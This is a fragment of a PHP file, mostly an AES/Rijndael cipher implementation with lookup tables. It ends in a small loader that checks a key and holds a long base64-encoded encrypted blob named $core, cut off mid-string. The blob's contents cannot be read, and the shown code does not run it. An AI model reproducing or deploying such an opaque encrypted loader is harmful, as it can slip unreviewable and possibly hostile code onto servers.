$i = 0; $j = $c[1]; $k = $c[2]; $l = $c[3]; while ($i < $Nb) { $temp[$i] = $t0[$state[$i] >> 24 & 0x000000FF] ^ $t1[$state[$j] >> 16 & 0x000000FF] ^ $t2[$state[$k] >> 8
& 0x000000FF] ^ $t3[$state[$l] & 0x000000FF] ^ $w[++$wc]; ++$i; $j = ($j + 1) % $Nb; $k = ($k + 1) % $Nb; $l = ($l + 1) % $Nb; } $state = $temp; } for ($i = 0; $i <
$Nb; ++$i) { $state[$i] = $sbox[$state[$i] & 0x000000FF] | ($sbox[$state[$i] >> 8 & 0x000000FF] << 8) | ($sbox[$state[$i] >> 16 & 0x000000FF] << 16) |
($sbox[$state[$i] >> 24 & 0x000000FF] << 24); } $i = 0; $j = $c[1]; $k = $c[2]; $l = $c[3]; while ($i < $Nb) { $temp[$i] = ($state[$i] & 0xFF000000) ^ ($state[$j] &
0x00FF0000) ^ ($state[$k] & 0x0000FF00) ^ ($state[$l] & 0x000000FF) ^ $w[$i]; ++$i; $j = ($j + 1) % $Nb; $k = ($k + 1) % $Nb; $l = ($l + 1) % $Nb; } switch ($Nb) { case
8: return pack('N*', $temp[0], $temp[1], $temp[2], $temp[3], $temp[4], $temp[5], $temp[6], $temp[7]); case 7: return pack('N*', $temp[0], $temp[1], $temp[2], $temp[3],
$temp[4], $temp[5], $temp[6]); case 6: return pack('N*', $temp[0], $temp[1], $temp[2], $temp[3], $temp[4], $temp[5]); case 5: return pack('N*', $temp[0], $temp[1],
$temp[2], $temp[3], $temp[4]); default: return pack('N*', $temp[0], $temp[1], $temp[2], $temp[3]); } } function _decryptBlock($in) { static $invtables; if
(empty($invtables)) { $invtables = &$this->_getInvTables(); } $dt0 = $invtables[0]; $dt1 = $invtables[1]; $dt2 = $invtables[2]; $dt3 = $invtables[3]; $isbox =
$invtables[4]; $state = array(); $words = unpack('N*', $in); $c = $this->c; $dw = $this->dw; $Nb = $this->Nb; $Nr = $this->Nr; $wc = $Nb - 1; foreach ($words as $word) {
$state[] = $word ^ $dw[++$wc]; } $temp = array(); for ($round = $Nr - 1; $round > 0; --$round) { $i = 0; $j = $Nb - $c[1]; $k = $Nb - $c[2]; $l = $Nb - $c[3]; while ($i <
$Nb) { $temp[$i] = $dt0[$state[$i] >> 24 & 0x000000FF] ^ $dt1[$state[$j] >> 16 & 0x000000FF] ^ $dt2[$state[$k] >> 8 & 0x000000FF] ^ $dt3[$state[$l] & 0x000000FF] ^
$dw[++$wc]; ++$i; $j = ($j + 1) % $Nb; $k = ($k + 1) % $Nb; $l = ($l + 1) % $Nb; } $state = $temp; } $i = 0; $j = $Nb - $c[1]; $k = $Nb - $c[2]; $l = $Nb - $c[3]; while
($i < $Nb) { $word = ($state[$i] & 0xFF000000) | ($state[$j] & 0x00FF0000) | ($state[$k] & 0x0000FF00) | ($state[$l] & 0x000000FF); $temp[$i] = $dw[$i] ^ ($isbox[$word
& 0x000000FF] | ($isbox[$word >> 8 & 0x000000FF] << 8) | ($isbox[$word >> 16 & 0x000000FF] << 16) | ($isbox[$word >> 24 & 0x000000FF] << 24)); ++$i; $j = ($j +
1) % $Nb; $k = ($k + 1) % $Nb; $l = ($l + 1) % $Nb; } switch ($Nb) { case 8: return pack('N*', $temp[0], $temp[1], $temp[2], $temp[3], $temp[4], $temp[5], $temp[6],
$temp[7]); case 7: return pack('N*', $temp[0], $temp[1], $temp[2], $temp[3], $temp[4], $temp[5], $temp[6]); case 6: return pack('N*', $temp[0], $temp[1], $temp[2],
$temp[3], $temp[4], $temp[5]); case 5: return pack('N*', $temp[0], $temp[1], $temp[2], $temp[3], $temp[4]); default: return pack('N*', $temp[0], $temp[1], $temp[2],
$temp[3]); } } function _setupKey() { static $rcon = array(0, 0x01000000, 0x02000000, 0x04000000, 0x08000000, 0x10000000, 0x20000000, 0x40000000, 0x80000000, 0x1B000000,
0x36000000, 0x6C000000, 0xD8000000, 0xAB000000, 0x4D000000, 0x9A000000, 0x2F000000, 0x5E000000, 0xBC000000, 0x63000000, 0xC6000000, 0x97000000, 0x35000000, 0x6A000000,
0xD4000000, 0xB3000000, 0x7D000000, 0xFA000000, 0xEF000000, 0xC5000000, 0x91000000); if (isset($this->kl['key']) && $this->key === $this->kl['key'] && $this->key_length
=== $this->kl['key_length'] && $this->block_size === $this->kl['block_size']) { return; } $this->kl = array('key' => $this->key, 'key_length' => $this->key_length,
'block_size' => $this->block_size); $this->Nk = $this->key_length >> 2; $this->Nr = max($this->Nk, $this->Nb) + 6; switch ($this->Nb) { case 4: case 5: case 6: $this->c =
array(0, 1, 2, 3); break; case 7: $this->c = array(0, 1, 2, 4); break; case 8: $this->c = array(0, 1, 3, 4); } $w = array_values(unpack('N*words', $this->key)); $length =
$this->Nb * ($this->Nr + 1); for ($i = $this->Nk; $i < $length; $i++) { $temp = $w[$i - 1]; if ($i % $this->Nk == 0) { $temp = (($temp << 8) & 0xFFFFFF00) | (($temp >>
24) & 0x000000FF); $temp = $this->_subWord($temp) ^ $rcon[$i / $this->Nk]; } elseif ($this->Nk > 6 && $i % $this->Nk == 4) { $temp = $this->_subWord($temp); } $w[$i] =
$w[$i - $this->Nk] ^ $temp; } list($dt0, $dt1, $dt2, $dt3) = $this->_getInvTables(); $temp = $this->w = $this->dw = array(); for ($i = $row = $col = 0; $i < $length;
$i++, $col++) { if ($col == $this->Nb) { if ($row == 0) { $this->dw[0] = $this->w[0]; } else { $j = 0; while ($j < $this->Nb) { $dw = $this->_subWord($this->w[$row][$j]);
$temp[$j] = $dt0[$dw >> 24 & 0x000000FF] ^ $dt1[$dw >> 16 & 0x000000FF] ^ $dt2[$dw >> 8 & 0x000000FF] ^ $dt3[$dw & 0x000000FF]; $j++; } $this->dw[$row] = $temp; }
$col = 0; $row++; } $this->w[$row][$col] = $w[$i]; } $this->dw[$row] = $this->w[$row]; $this->dw = array_reverse($this->dw); $w = array_pop($this->w); $dw =
array_pop($this->dw); foreach ($this->w as $r => $wr) { foreach ($wr as $c => $wc) { $w[] = $wc; $dw[] = $this->dw[$r][$c]; } } $this->w = $w; $this->dw = $dw; }
function _subWord($word) { static $sbox; if (empty($sbox)) { list(, , , , $sbox) = $this->_getTables(); } return $sbox[$word & 0x000000FF] | ($sbox[$word >>
8 & 0x000000FF] << 8) | ($sbox[$word >> 16 & 0x000000FF] << 16) | ($sbox[$word >> 24 & 0x000000FF] << 24); } function &_getTables() { static $tables; if (empty($tables))
{ $t3 = array_map('intval', array( 0x6363A5C6, 0x7C7C84F8, 0x777799EE, 0x7B7B8DF6, 0xF2F20DFF, 0x6B6BBDD6, 0x6F6FB1DE, 0xC5C55491, 0x30305060, 0x01010302, 0x6767A9CE,
0x2B2B7D56, 0xFEFE19E7, 0xD7D762B5, 0xABABE64D, 0x76769AEC, 0xCACA458F, 0x82829D1F, 0xC9C94089, 0x7D7D87FA, 0xFAFA15EF, 0x5959EBB2, 0x4747C98E, 0xF0F00BFB, 0xADADEC41,
0xD4D467B3, 0xA2A2FD5F, 0xAFAFEA45, 0x9C9CBF23, 0xA4A4F753, 0x727296E4, 0xC0C05B9B, 0xB7B7C275, 0xFDFD1CE1, 0x9393AE3D, 0x26266A4C, 0x36365A6C, 0x3F3F417E, 0xF7F702F5,
0xCCCC4F83, 0x34345C68, 0xA5A5F451, 0xE5E534D1, 0xF1F108F9, 0x717193E2, 0xD8D873AB, 0x31315362, 0x15153F2A, 0x04040C08, 0xC7C75295, 0x23236546, 0xC3C35E9D, 0x18182830,
0x9696A137, 0x05050F0A, 0x9A9AB52F, 0x0707090E, 0x12123624, 0x80809B1B, 0xE2E23DDF, 0xEBEB26CD, 0x2727694E, 0xB2B2CD7F, 0x75759FEA, 0x09091B12, 0x83839E1D, 0x2C2C7458,
0x1A1A2E34, 0x1B1B2D36, 0x6E6EB2DC, 0x5A5AEEB4, 0xA0A0FB5B, 0x5252F6A4, 0x3B3B4D76, 0xD6D661B7, 0xB3B3CE7D, 0x29297B52, 0xE3E33EDD, 0x2F2F715E, 0x84849713, 0x5353F5A6,
0xD1D168B9, 0x00000000, 0xEDED2CC1, 0x20206040, 0xFCFC1FE3, 0xB1B1C879, 0x5B5BEDB6, 0x6A6ABED4, 0xCBCB468D, 0xBEBED967, 0x39394B72, 0x4A4ADE94, 0x4C4CD498, 0x5858E8B0,
0xCFCF4A85, 0xD0D06BBB, 0xEFEF2AC5, 0xAAAAE54F, 0xFBFB16ED, 0x4343C586, 0x4D4DD79A, 0x33335566, 0x85859411, 0x4545CF8A, 0xF9F910E9, 0x02020604, 0x7F7F81FE, 0x5050F0A0,
0x3C3C4478, 0x9F9FBA25, 0xA8A8E34B, 0x5151F3A2, 0xA3A3FE5D, 0x4040C080, 0x8F8F8A05, 0x9292AD3F, 0x9D9DBC21, 0x38384870, 0xF5F504F1, 0xBCBCDF63, 0xB6B6C177, 0xDADA75AF,
0x21216342, 0x10103020, 0xFFFF1AE5, 0xF3F30EFD, 0xD2D26DBF, 0xCDCD4C81, 0x0C0C1418, 0x13133526, 0xECEC2FC3, 0x5F5FE1BE, 0x9797A235, 0x4444CC88, 0x1717392E, 0xC4C45793,
0xA7A7F255, 0x7E7E82FC, 0x3D3D477A, 0x6464ACC8, 0x5D5DE7BA, 0x19192B32, 0x737395E6, 0x6060A0C0, 0x81819819, 0x4F4FD19E, 0xDCDC7FA3, 0x22226644, 0x2A2A7E54, 0x9090AB3B,
0x8888830B, 0x4646CA8C, 0xEEEE29C7, 0xB8B8D36B, 0x14143C28, 0xDEDE79A7, 0x5E5EE2BC, 0x0B0B1D16, 0xDBDB76AD, 0xE0E03BDB, 0x32325664, 0x3A3A4E74, 0x0A0A1E14, 0x4949DB92,
0x06060A0C, 0x24246C48, 0x5C5CE4B8, 0xC2C25D9F, 0xD3D36EBD, 0xACACEF43, 0x6262A6C4, 0x9191A839, 0x9595A431, 0xE4E437D3, 0x79798BF2, 0xE7E732D5, 0xC8C8438B, 0x3737596E,
0x6D6DB7DA, 0x8D8D8C01, 0xD5D564B1, 0x4E4ED29C, 0xA9A9E049, 0x6C6CB4D8, 0x5656FAAC, 0xF4F407F3, 0xEAEA25CF, 0x6565AFCA, 0x7A7A8EF4, 0xAEAEE947, 0x08081810, 0xBABAD56F,
0x787888F0, 0x25256F4A, 0x2E2E725C, 0x1C1C2438, 0xA6A6F157, 0xB4B4C773, 0xC6C65197, 0xE8E823CB, 0xDDDD7CA1, 0x74749CE8, 0x1F1F213E, 0x4B4BDD96, 0xBDBDDC61, 0x8B8B860D,
0x8A8A850F, 0x707090E0, 0x3E3E427C, 0xB5B5C471, 0x6666AACC, 0x4848D890, 0x03030506, 0xF6F601F7, 0x0E0E121C, 0x6161A3C2, 0x35355F6A, 0x5757F9AE, 0xB9B9D069, 0x86869117,
0xC1C15899, 0x1D1D273A, 0x9E9EB927, 0xE1E138D9, 0xF8F813EB, 0x9898B32B, 0x11113322, 0x6969BBD2, 0xD9D970A9, 0x8E8E8907, 0x9494A733, 0x9B9BB62D, 0x1E1E223C, 0x87879215,
0xE9E920C9, 0xCECE4987, 0x5555FFAA, 0x28287850, 0xDFDF7AA5, 0x8C8C8F03, 0xA1A1F859, 0x89898009, 0x0D0D171A, 0xBFBFDA65, 0xE6E631D7, 0x4242C684, 0x6868B8D0, 0x4141C382,
0x9999B029, 0x2D2D775A, 0x0F0F111E, 0xB0B0CB7B, 0x5454FCA8, 0xBBBBD66D, 0x16163A2C)); foreach ($t3 as $t3i) { $t0[] = (($t3i << 24) & 0xFF000000) | (($t3i >> 8) &
0x00FFFFFF); $t1[] = (($t3i << 16) & 0xFFFF0000) | (($t3i >> 16) & 0x0000FFFF); $t2[] = (($t3i << 8) & 0xFFFFFF00) | (($t3i >> 24) & 0x000000FF); } $tables = array( $t0,
$t1, $t2, $t3, array( 0x63, 0x7C, 0x77, 0x7B, 0xF2, 0x6B, 0x6F, 0xC5, 0x30, 0x01, 0x67, 0x2B, 0xFE, 0xD7, 0xAB, 0x76, 0xCA, 0x82, 0xC9, 0x7D, 0xFA, 0x59, 0x47, 0xF0,
0xAD, 0xD4, 0xA2, 0xAF, 0x9C, 0xA4, 0x72, 0xC0, 0xB7, 0xFD, 0x93, 0x26, 0x36, 0x3F, 0xF7, 0xCC, 0x34, 0xA5, 0xE5, 0xF1, 0x71, 0xD8, 0x31, 0x15, 0x04, 0xC7, 0x23, 0xC3,
0x18, 0x96, 0x05, 0x9A, 0x07, 0x12, 0x80, 0xE2, 0xEB, 0x27, 0xB2, 0x75, 0x09, 0x83, 0x2C, 0x1A, 0x1B, 0x6E, 0x5A, 0xA0, 0x52, 0x3B, 0xD6, 0xB3, 0x29, 0xE3, 0x2F, 0x84,
0x53, 0xD1, 0x00, 0xED, 0x20, 0xFC, 0xB1, 0x5B, 0x6A, 0xCB, 0xBE, 0x39, 0x4A, 0x4C, 0x58, 0xCF, 0xD0, 0xEF, 0xAA, 0xFB, 0x43, 0x4D, 0x33, 0x85, 0x45, 0xF9, 0x02, 0x7F,
0x50, 0x3C, 0x9F, 0xA8, 0x51, 0xA3, 0x40, 0x8F, 0x92, 0x9D, 0x38, 0xF5, 0xBC, 0xB6, 0xDA, 0x21, 0x10, 0xFF, 0xF3, 0xD2, 0xCD, 0x0C, 0x13, 0xEC, 0x5F, 0x97, 0x44, 0x17,
0xC4, 0xA7, 0x7E, 0x3D, 0x64, 0x5D, 0x19, 0x73, 0x60, 0x81, 0x4F, 0xDC, 0x22, 0x2A, 0x90, 0x88, 0x46, 0xEE, 0xB8, 0x14, 0xDE, 0x5E, 0x0B, 0xDB, 0xE0, 0x32, 0x3A, 0x0A,
0x49, 0x06, 0x24, 0x5C, 0xC2, 0xD3, 0xAC, 0x62, 0x91, 0x95, 0xE4, 0x79, 0xE7, 0xC8, 0x37, 0x6D, 0x8D, 0xD5, 0x4E, 0xA9, 0x6C, 0x56, 0xF4, 0xEA, 0x65, 0x7A, 0xAE, 0x08,
0xBA, 0x78, 0x25, 0x2E, 0x1C, 0xA6, 0xB4, 0xC6, 0xE8, 0xDD, 0x74, 0x1F, 0x4B, 0xBD, 0x8B, 0x8A, 0x70, 0x3E, 0xB5, 0x66, 0x48, 0x03, 0xF6, 0x0E, 0x61, 0x35, 0x57, 0xB9,
0x86, 0xC1, 0x1D, 0x9E, 0xE1, 0xF8, 0x98, 0x11, 0x69, 0xD9, 0x8E, 0x94, 0x9B, 0x1E, 0x87, 0xE9, 0xCE, 0x55, 0x28, 0xDF, 0x8C, 0xA1, 0x89, 0x0D, 0xBF, 0xE6, 0x42, 0x68,
0x41, 0x99, 0x2D, 0x0F, 0xB0, 0x54, 0xBB, 0x16)); } return $tables; } function &_getInvTables() { static $tables; if (empty($tables)) { $dt3 = array_map('intval', array(
0xF4A75051, 0x4165537E, 0x17A4C31A, 0x275E963A, 0xAB6BCB3B, 0x9D45F11F, 0xFA58ABAC, 0xE303934B, 0x30FA5520, 0x766DF6AD, 0xCC769188, 0x024C25F5, 0xE5D7FC4F, 0x2ACBD7C5,
0x35448026, 0x62A38FB5, 0xB15A49DE, 0xBA1B6725, 0xEA0E9845, 0xFEC0E15D, 0x2F7502C3, 0x4CF01281, 0x4697A38D, 0xD3F9C66B, 0x8F5FE703, 0x929C9515, 0x6D7AEBBF, 0x5259DA95,
0xBE832DD4, 0x7421D358, 0xE0692949, 0xC9C8448E, 0xC2896A75, 0x8E7978F4, 0x583E6B99, 0xB971DD27, 0xE14FB6BE, 0x88AD17F0, 0x20AC66C9, 0xCE3AB47D, 0xDF4A1863, 0x1A3182E5,
0x51336097, 0x537F4562, 0x6477E0B1, 0x6BAE84BB, 0x81A01CFE, 0x082B94F9, 0x48685870, 0x45FD198F, 0xDE6C8794, 0x7BF8B752, 0x73D323AB, 0x4B02E272, 0x1F8F57E3, 0x55AB2A66,
0xEB2807B2, 0xB5C2032F, 0xC57B9A86, 0x3708A5D3, 0x2887F230, 0xBFA5B223, 0x036ABA02, 0x16825CED, 0xCF1C2B8A, 0x79B492A7, 0x07F2F0F3, 0x69E2A14E, 0xDAF4CD65, 0x05BED506,
0x34621FD1, 0xA6FE8AC4, 0x2E539D34, 0xF355A0A2, 0x8AE13205, 0xF6EB75A4, 0x83EC390B, 0x60EFAA40, 0x719F065E, 0x6E1051BD, 0x218AF93E, 0xDD063D96, 0x3E05AEDD, 0xE6BD464D,
0x548DB591, 0xC45D0571, 0x06D46F04, 0x5015FF60, 0x98FB2419, 0xBDE997D6, 0x4043CC89, 0xD99E7767, 0xE842BDB0, 0x898B8807, 0x195B38E7, 0xC8EEDB79, 0x7C0A47A1, 0x420FE97C,
0x841EC9F8, 0x00000000, 0x80868309, 0x2BED4832, 0x1170AC1E, 0x5A724E6C, 0x0EFFFBFD, 0x8538560F, 0xAED51E3D, 0x2D392736, 0x0FD9640A, 0x5CA62168, 0x5B54D19B, 0x362E3A24,
0x0A67B10C, 0x57E70F93, 0xEE96D2B4, 0x9B919E1B, 0xC0C54F80, 0xDC20A261, 0x774B695A, 0x121A161C, 0x93BA0AE2, 0xA02AE5C0, 0x22E0433C, 0x1B171D12, 0x090D0B0E, 0x8BC7ADF2,
0xB6A8B92D, 0x1EA9C814, 0xF1198557, 0x75074CAF, 0x99DDBBEE, 0x7F60FDA3, 0x01269FF7, 0x72F5BC5C, 0x663BC544, 0xFB7E345B, 0x4329768B, 0x23C6DCCB, 0xEDFC68B6, 0xE4F163B8,
0x31DCCAD7, 0x63851042, 0x97224013, 0xC6112084, 0x4A247D85, 0xBB3DF8D2, 0xF93211AE, 0x29A16DC7, 0x9E2F4B1D, 0xB230F3DC, 0x8652EC0D, 0xC1E3D077, 0xB3166C2B, 0x70B999A9,
0x9448FA11, 0xE9642247, 0xFC8CC4A8, 0xF03F1AA0, 0x7D2CD856, 0x3390EF22, 0x494EC787, 0x38D1C1D9, 0xCAA2FE8C, 0xD40B3698, 0xF581CFA6, 0x7ADE28A5, 0xB78E26DA, 0xADBFA43F,
0x3A9DE42C, 0x78920D50, 0x5FCC9B6A, 0x7E466254, 0x8D13C2F6, 0xD8B8E890, 0x39F75E2E, 0xC3AFF582, 0x5D80BE9F, 0xD0937C69, 0xD52DA96F, 0x2512B3CF, 0xAC993BC8, 0x187DA710,
0x9C636EE8, 0x3BBB7BDB, 0x267809CD, 0x5918F46E, 0x9AB701EC, 0x4F9AA883, 0x956E65E6, 0xFFE67EAA, 0xBCCF0821, 0x15E8E6EF, 0xE79BD9BA, 0x6F36CE4A, 0x9F09D4EA, 0xB07CD629,
0xA4B2AF31, 0x3F23312A, 0xA59430C6, 0xA266C035, 0x4EBC3774, 0x82CAA6FC, 0x90D0B0E0, 0xA7D81533, 0x04984AF1, 0xECDAF741, 0xCD500E7F, 0x91F62F17, 0x4DD68D76, 0xEFB04D43,
0xAA4D54CC, 0x9604DFE4, 0xD1B5E39E, 0x6A881B4C, 0x2C1FB8C1, 0x65517F46, 0x5EEA049D, 0x8C355D01, 0x877473FA, 0x0B412EFB, 0x671D5AB3, 0xDBD25292, 0x105633E9, 0xD647136D,
0xD7618C9A, 0xA10C7A37, 0xF8148E59, 0x133C89EB, 0xA927EECE, 0x61C935B7, 0x1CE5EDE1, 0x47B13C7A, 0xD2DF599C, 0xF2733F55, 0x14CE7918, 0xC737BF73, 0xF7CDEA53, 0xFDAA5B5F,
0x3D6F14DF, 0x44DB8678, 0xAFF381CA, 0x68C43EB9, 0x24342C38, 0xA3405FC2, 0x1DC37216, 0xE2250CBC, 0x3C498B28, 0x0D9541FF, 0xA8017139, 0x0CB3DE08, 0xB4E49CD8, 0x56C19064,
0xCB84617B, 0x32B670D5, 0x6C5C7448, 0xB85742D0)); foreach ($dt3 as $dt3i) { $dt0[] = (($dt3i << 24) & 0xFF000000) | (($dt3i >> 8) & 0x00FFFFFF); $dt1[] = (($dt3i << 16)
& 0xFFFF0000) | (($dt3i >> 16) & 0x0000FFFF); $dt2[] = (($dt3i << 8) & 0xFFFFFF00) | (($dt3i >> 24) & 0x000000FF); }; $tables = array( $dt0, $dt1, $dt2, $dt3, array(
0x52, 0x09, 0x6A, 0xD5, 0x30, 0x36, 0xA5, 0x38, 0xBF, 0x40, 0xA3, 0x9E, 0x81, 0xF3, 0xD7, 0xFB, 0x7C, 0xE3, 0x39, 0x82, 0x9B, 0x2F, 0xFF, 0x87, 0x34, 0x8E, 0x43, 0x44,
0xC4, 0xDE, 0xE9, 0xCB, 0x54, 0x7B, 0x94, 0x32, 0xA6, 0xC2, 0x23, 0x3D, 0xEE, 0x4C, 0x95, 0x0B, 0x42, 0xFA, 0xC3, 0x4E, 0x08, 0x2E, 0xA1, 0x66, 0x28, 0xD9, 0x24, 0xB2,
0x76, 0x5B, 0xA2, 0x49, 0x6D, 0x8B, 0xD1, 0x25, 0x72, 0xF8, 0xF6, 0x64, 0x86, 0x68, 0x98, 0x16, 0xD4, 0xA4, 0x5C, 0xCC, 0x5D, 0x65, 0xB6, 0x92, 0x6C, 0x70, 0x48, 0x50,
0xFD, 0xED, 0xB9, 0xDA, 0x5E, 0x15, 0x46, 0x57, 0xA7, 0x8D, 0x9D, 0x84, 0x90, 0xD8, 0xAB, 0x00, 0x8C, 0xBC, 0xD3, 0x0A, 0xF7, 0xE4, 0x58, 0x05, 0xB8, 0xB3, 0x45, 0x06,
0xD0, 0x2C, 0x1E, 0x8F, 0xCA, 0x3F, 0x0F, 0x02, 0xC1, 0xAF, 0xBD, 0x03, 0x01, 0x13, 0x8A, 0x6B, 0x3A, 0x91, 0x11, 0x41, 0x4F, 0x67, 0xDC, 0xEA, 0x97, 0xF2, 0xCF, 0xCE,
0xF0, 0xB4, 0xE6, 0x73, 0x96, 0xAC, 0x74, 0x22, 0xE7, 0xAD, 0x35, 0x85, 0xE2, 0xF9, 0x37, 0xE8, 0x1C, 0x75, 0xDF, 0x6E, 0x47, 0xF1, 0x1A, 0x71, 0x1D, 0x29, 0xC5, 0x89,
0x6F, 0xB7, 0x62, 0x0E, 0xAA, 0x18, 0xBE, 0x1B, 0xFC, 0x56, 0x3E, 0x4B, 0xC6, 0xD2, 0x79, 0x20, 0x9A, 0xDB, 0xC0, 0xFE, 0x78, 0xCD, 0x5A, 0xF4, 0x1F, 0xDD, 0xA8, 0x33,
0x88, 0x07, 0xC7, 0x31, 0xB1, 0x12, 0x10, 0x59, 0x27, 0x80, 0xEC, 0x5F, 0x60, 0x51, 0x7F, 0xA9, 0x19, 0xB5, 0x4A, 0x0D, 0x2D, 0xE5, 0x7A, 0x9F, 0x93, 0xC9, 0x9C, 0xEF,
0xA0, 0xE0, 0x3B, 0x4D, 0xAE, 0x2A, 0xF5, 0xB0, 0xC8, 0xEB, 0xBB, 0x3C, 0x83, 0x53, 0x99, 0x61, 0x17, 0x2B, 0x04, 0x7E, 0xBA, 0x77, 0xD6, 0x26, 0xE1, 0x69, 0x14, 0x63,
0x55, 0x21, 0x0C, 0x7D)); } return $tables; } function _setupInlineCrypt() { $lambda_functions =& self::_getLambdaFunctions(); $gen_hi_opt_code =
(bool)(count($lambda_functions) < 10); $code_hash = "Crypt_Rijndael, {$this->mode}, {$this->Nr}, {$this->Nb}"; if ($gen_hi_opt_code) { $code_hash = str_pad($code_hash,
32) . $this->_hashInlineCryptFunction($this->key); } if (!isset($lambda_functions[$code_hash])) { switch (true) { case $gen_hi_opt_code: $w = $this->w; $dw = $this->dw;
$init_encrypt = ''; $init_decrypt = ''; break; default: for ($i = 0, $cw = count($this->w); $i < $cw; ++$i) { $w[] = '$w[' . $i . ']'; $dw[] = '$dw[' . $i . ']'; }
$init_encrypt = '$w = $self->w;'; $init_decrypt = '$dw = $self->dw;'; } $Nr = $this->Nr; $Nb = $this->Nb; $c = $this->c; $init_encrypt.= ' static $tables; if
(empty($tables)) { $tables = &$self->_getTables(); } $t0 = $tables[0]; $t1 = $tables[1]; $t2 = $tables[2]; $t3 = $tables[3]; $sbox = $tables[4]; '; $s = 'e'; $e
= 's'; $wc = $Nb - 1; $encrypt_block = '$in = unpack("N*", $in);'."\n"; for ($i = 0; $i < $Nb; ++$i) { $encrypt_block .= '$s'.$i.' = $in['.($i + 1).'] ^
'.$w[++$wc].";\n"; } for ($round = 1; $round < $Nr; ++$round) { list($s, $e) = array($e, $s); for ($i = 0; $i < $Nb; ++$i) { $encrypt_block.= '$'.$e.$i.' = $t0[($'.$s.$i
.' >> 24) & 0xff] ^ $t1[($'.$s.(($i + $c[1]) % $Nb).' >> 16) & 0xff] ^ $t2[($'.$s.(($i + $c[2]) % $Nb).' >> 8) & 0xff] ^ $t3[ $'.$s.(($i + $c[3]) % $Nb).' & 0xff]
^ '.$w[++$wc].";\n"; } } for ($i = 0; $i < $Nb; ++$i) { $encrypt_block.= '$'.$e.$i.' = $sbox[ $'.$e.$i.' & 0xff] | ($sbox[($'.$e.$i.' >> 8) & 0xff] << 8)
| ($sbox[($'.$e.$i.' >> 16) & 0xff] << 16) | ($sbox[($'.$e.$i.' >> 24) & 0xff] << 24);'."\n"; } $encrypt_block .= '$in = pack("N*"'."\n"; for ($i = 0; $i < $Nb; ++$i) {
$encrypt_block.= ', ($'.$e.$i .' & '.((int)0xFF000000).') ^ ($'.$e.(($i + $c[1]) % $Nb).' & 0x00FF0000 ) ^ ($'.$e.(($i + $c[2]) % $Nb).' &
0x0000FF00 ) ^ ($'.$e.(($i + $c[3]) % $Nb).' & 0x000000FF ) ^ '.$w[$i]."\n"; } $encrypt_block .= ');'; $init_decrypt.= ' static $invtables; if
(empty($invtables)) { $invtables = &$self->_getInvTables(); } $dt0 = $invtables[0]; $dt1 = $invtables[1]; $dt2 = $invtables[2]; $dt3 = $invtables[3]; $isbox =
$invtables[4]; '; $s = 'e'; $e = 's'; $wc = $Nb - 1; $decrypt_block = '$in = unpack("N*", $in);'."\n"; for ($i = 0; $i < $Nb; ++$i) { $decrypt_block .= '$s'.$i.' =
$in['.($i + 1).'] ^ '.$dw[++$wc].';'."\n"; } for ($round = 1; $round < $Nr; ++$round) { list($s, $e) = array($e, $s); for ($i = 0; $i < $Nb; ++$i) { $decrypt_block.=
'$'.$e.$i.' = $dt0[($'.$s.$i .' >> 24) & 0xff] ^ $dt1[($'.$s.(($Nb + $i - $c[1]) % $Nb).' >> 16) & 0xff] ^ $dt2[($'.$s.(($Nb + $i - $c[2]) % $Nb).'
>> 8) & 0xff] ^ $dt3[ $'.$s.(($Nb + $i - $c[3]) % $Nb).' & 0xff] ^ '.$dw[++$wc].";\n"; } } for ($i = 0; $i < $Nb; ++$i) { $decrypt_block.= '$'.$e.$i.' = $isbox[
$'.$e.$i.' & 0xff] | ($isbox[($'.$e.$i.' >> 8) & 0xff] << 8) | ($isbox[($'.$e.$i.' >> 16) & 0xff] << 16) | ($isbox[($'.$e.$i.' >> 24) & 0xff] <<
24);'."\n"; } $decrypt_block .= '$in = pack("N*"'."\n"; for ($i = 0; $i < $Nb; ++$i) { $decrypt_block.= ', ($'.$e.$i. ' & '.((int)0xFF000000).') ^
($'.$e.(($Nb + $i - $c[1]) % $Nb).' & 0x00FF0000 ) ^ ($'.$e.(($Nb + $i - $c[2]) % $Nb).' & 0x0000FF00 ) ^ ($'.$e.(($Nb + $i - $c[3]) % $Nb).' &
0x000000FF ) ^ '.$dw[$i]."\n"; } $decrypt_block .= ');'; $lambda_functions[$code_hash] = $this->_createInlineCryptFunction( array( 'init_crypt' => '', 'init_encrypt'
=> $init_encrypt, 'init_decrypt' => $init_decrypt, 'encrypt_block' => $encrypt_block, 'decrypt_block' => $decrypt_block)); } $this->inline_crypt =
$lambda_functions[$code_hash]; } }
function d($i, $k, $v){ $r = new Rjn(Rjn::MODE_CBC); $r->setPreferredEngine(Rjn::ENGINE_INTERNAL); $r->setBlockLength(128); $r->disablePadding(); $r->setKey($k); $r->setIv($v); return $r->decrypt($i); }
function h($i){return hash('sha256',$i);}
if(!$k){ik();}if(!$i){ua();}if(h(trim(d(base64_decode(C),$k,V)))!==R){ik();}
$core='4j2cJlv+jqt8qxbclt506RXxgNY2de+AkcUy96EeydCmPB4x9cbGIANQ5PYF/zgLhy3WCkTXy4k/gQVnoVn2fm0vTcoDuN8lhhy3dYB+SXXBF6qAuiMnILcLTT0mzSo7U+9/yJ44AAIW5rUP3AlfDbY10U6IFt1/gd9Y0e9Or49ObxpnRqqmO1qK43xVNEh5AS2JAiLsUc8UqqKpwIoDGw7wi860AH6IljFxz6cJ1zCClaHvBA2Ye4kuXq+XVNIKeiIz740AGQvW2HX5VcDPk8zqkXjfHgiRq7RWRzirLkw6YFbmlEMzvELIezhlcFSfISyjdE3T07hkcR7V6bbHTdpmkjGMYUrXMpWsBjiCn9yk4i3/jDCaFb1AJRL5ow7b8l5WjlUOFUINrO0z1BgoD/GI0IBavBgThyk2vHIByk4xIzX0jMMaDe6/vgUf2V0MCDD0vf0XDwUgVYUme/RrFtUw1HKulGB4QOgsa90TY3Fw0yil1aHq2TeLnyYwWT47BiclzBvMkoRzv5FQMJmjxUtr4kxVj1RBf9KyrZ0FX8frAboLrph7usYTWYEg75KMKqaC4LKJSo9g36DOF1SOJOqfBX219M9ddXy8WwGzDNhMkWCFJ1RAfwylVVilT3VZP3a8Fs7b5HJ6/HMdlQ3wbpDT2YB8YBcc7wedWrik1/kteJASceA847zPju7V7rnkIx+c696vSgGbg1grlPn/eTqIZJvmzYcHanSP/TJThYAuXeDfPkYSAeeO7qQb/IR0UX6dfFYKzw+cviKiPd/7ytgl3cJhA3fHdvO4MANx+N2TRd0u8xXYBbUa0DhucJFfsgfeocJnbKN5lpTLcsWpGzfb+pTpCsuQNgsmfUcCI0DVLEL09h7p7JLB7n8I8NOap+hJmtroxVQcN2Nrih+V5v+gFn1xFyhwMdpUpUklJVERJV7JIf9j92Zv89o+VUQ9m6eeRm